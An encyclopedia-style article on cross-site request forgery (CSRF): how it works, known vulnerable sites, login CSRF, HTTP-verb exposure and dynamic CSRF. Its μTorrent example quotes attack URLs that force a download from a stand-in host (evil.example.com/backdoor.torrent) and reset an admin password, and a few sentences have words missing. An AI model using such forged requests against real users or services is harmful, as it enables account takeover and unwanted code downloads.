Cross-site request forgery


Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website or web application where unauthorized commands are submitted from a user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript fetch or XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting, which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
In a CSRF attack, an innocent end user is tricked by an attacker into submitting a web request that they did not intend. This may cause actions to be performed on the website that can include inadvertent client or server data leakage, change of session state, or manipulation of an end user's account.
The term "CSRF" is also used as an abbreviation in defences against CSRF attacks, such as techniques that use header data, form data, or cookies, to test for and prevent such attacks.

Characteristics

In a CSRF attack, the attacker's goal is to cause an innocent victim to unknowingly submit a maliciously crafted web request to a website that the victim has privileged access to. This web request can be crafted to include URL parameters, cookies and other data that appear normal to the web server processing the request. At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site that trusts the user and thereby cause an unwanted action.
A general property of web browsers is that they will automatically and invisibly include any cookies used by a given domain in any web request sent to that domain. This property is exploited by CSRF attacks. In the event that a user is tricked into inadvertently submitting a request through their browser these automatically included cookies will cause the forged request to appear real to the web server and it will perform any appropriately requested actions including returning data, manipulating session state, or making changes to the victim's account.
In order for a CSRF attack to work, an attacker must identify a reproducible web request that executes a specific action such as changing an account password on the target page. Once such a request is identified, a link can be created that generates this malicious request and that link can be embedded on a page within the attacker's control. This link may be placed in such a way that it is not even necessary for the victim to click the link. For example, it may be embedded within an html image tag on an email sent to the victim which will automatically be loaded when the victim opens their email. Once the victim has clicked the link, their browser will automatically include any cookies used by that website and submit the request to the web server. The web server will not be able to identify the forgery because the request was made by a user that was logged in, and submitted all the requisite cookies.
Cross-site request forgery is an example of a confused deputy attack against a web browser because the web browser is tricked into submitting a forged request by a less privileged attacker.
CSRF commonly has the following characteristics:
  • It involves sites that rely on a user's identity.
  • It exploits the site's trust in that identity.
  • It tricks the user's browser into sending HTTP requests to a target site where the user is already authenticated.
  • It involves HTTP requests that have side effects.

    History

CSRF Token vulnerabilities have been known and in some cases exploited since 2001. Because it is carried out from the user's IP address, some website logs might not have evidence of CSRF. Exploits are under-reported, at least publicly, and as of 2007 there were few well-documented examples:
  • The Netflix website in 2006 had numerous vulnerabilities to CSRF, which could have allowed an attacker to perform actions such as adding a DVD to the victim's rental queue, changing the shipping address on the account, or altering the victim's login credentials to fully compromise the account.
  • The online banking web application of ING Direct was vulnerable to a CSRF attack that allowed illicit money transfers.
  • Popular video website YouTube was also vulnerable to CSRF in 2008 and this allowed any attacker to perform nearly all actions of any user.
  • McAfee Secure was also vulnerable to CSRF and it allowed attackers to change their company system. This is fixed in newer versions.

    Example

Attackers who can find a reproducible link that executes a specific action on the target page while the victim is logged in can embed such link on a page they control and trick the victim into opening it. The attack carrier link may be placed in a location that the victim is likely to visit while logged into the target site, or sent in an HTML email body or attachment. A real CSRF vulnerability in μTorrent exploited the fact that its web console accessible at localhost:8080 allowed critical actions to be executed using a simple GET request:
;Force a.torrent file download : http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
;Change μTorrent administrator password : http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
Attacks were launched by placing malicious, automatic-action HTML image elements on forums and email spam, so that browsers visiting these pages would open them automatically, without much user action. People running vulnerable μTorrent version at the same time as opening these pages were susceptible to the attack.
CSRF attacks using image tags are often made from Internet forums, where users are allowed to post images but not JavaScript, for example using BBCode:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
When accessing the attack link to the local μTorrent application at, the browser would also always automatically send any existing cookies for that domain. This general property of web browsers enables CSRF attacks to exploit their targeted vulnerabilities and execute hostile actions as long as the user is logged into the target website at the time of the attack.
In the μTorrent example described above, the attack was facilitated by the fact that μTorrent's web interface used GET request for critical state-changing operations, which explicitly discourages:
Because of this assumption, many existing CSRF prevention mechanisms in web frameworks will not cover GET requests, but rather apply the protection only to HTTP methods that are intended to be state-changing. This inconsistency can be exploited by attackers who deliberately convert POST requests to GET requests to bypass CSRF protections. In , a vulnerability in printer network management software , it was found that while the application validated the Origin header for POST requests, switching the request method to GET circumvented this protection entirely, ultimately enabling remote code execution through a chain of CSRF attacks.

Forging login requests

An attacker may forge a request to log the victim into a target website using the attacker's credentials; this is known as login CSRF. Login CSRF makes various novel attacks possible; for instance, an attacker can later log into the site with their legitimate credentials and view private information like activity history that has been saved in the account. This attack has been demonstrated against Google and Yahoo.

HTTP verbs and CSRF

Depending on the type, the HTTP request methods vary in their susceptibility to the CSRF attacks. Therefore, the protective measures against an attack depend on the method of the HTTP request.
  • In HTTP GET the CSRF exploitation is trivial, using methods described above, such as a simple hyperlink containing manipulated parameters and automatically loaded by an IMG tag. By the HTTP specification however, GET should be used as a safe method, that is, not significantly changing user's state in the application. Applications using GET for such operations should switch to HTTP POST or use anti-CSRF protection.
  • the HTTP POST vulnerability to CSRF depends on the usage scenario:
  • *In simplest form of POST with data encoded as a query string CSRF attack is easily implemented using a simple HTML form and anti-CSRF measures must be applied.
  • *If data is sent in any other format a standard method is to issue a POST request using XMLHttpRequest with CSRF attacks prevented by Same-origin policy and Cross-origin resource sharing ; there is a technique to send arbitrary content from a simple HTML form using ENCTYPE attribute; such a fake request can be distinguished from legitimate ones by text/plain content type, but if this is not enforced on the server, CSRF can be executed
  • other HTTP methods can only be issued using XMLHttpRequest with Same-origin policy and Cross-origin resource sharing preventing CSRF; these measures however will not be active on websites that explicitly disable them using Access-Control-Allow-Origin: * header

    Other approaches to CSRF

Additionally, while typically described as a static type of attack, CSRF can also be dynamically constructed as part of a payload for a cross-site scripting attack, as demonstrated by the Samy worm, or constructed on the fly from session information leaked via offsite content and sent to a target as a malicious URL. CSRF tokens could also be sent to a client by an attacker due to session fixation or other vulnerabilities, or guessed via a brute-force attack, rendered on a malicious page that generates thousands of failed requests. The attack class of "Dynamic CSRF", or using a per-client payload for session-specific forgery, was described in 2009 by Nathan Hamiel and Shawn Moyer at the BlackHat Briefings, though the taxonomy has yet to gain wider adoption.
A new vector for composing dynamic CSRF attacks was presented by Oren Ofer at a local OWASP chapter meeting in January 2012 – "AJAX Hammer – Dynamic CSRF".